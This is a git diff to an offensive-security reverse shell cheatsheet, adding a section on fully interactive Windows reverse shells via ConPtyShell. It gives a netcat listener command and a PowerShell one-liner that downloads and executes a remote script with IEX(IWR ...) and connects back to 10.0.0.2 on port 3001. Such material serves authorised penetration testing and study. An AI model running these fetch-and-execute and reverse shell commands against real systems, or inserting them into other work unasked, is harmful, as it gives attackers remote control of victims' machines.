diff --git a/Methodology and Resources/Reverse Shell Cheatsheet.md b/Methodology and Resources/Reverse Shell Cheatsheet.md index 3a8b617..1961202 100644 --- a/Methodology and Resources/Reverse Shell Cheatsheet.md +++ b/Methodology and Resources/Reverse Shell Cheatsheet.md @@ -355,6 +355,26 @@ lua: os.execute('/bin/sh') - nmap: `!sh` - mysql: `! bash` +## Fully interactive reverse shell on Windows +The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals. + +**ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).** + + +Server Side: + +``` +stty raw -echo; (stty size; cat) | nc -lvnp 3001 +``` + +Client Side: + +``` +IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001 +``` + +Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1 + ## References * [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)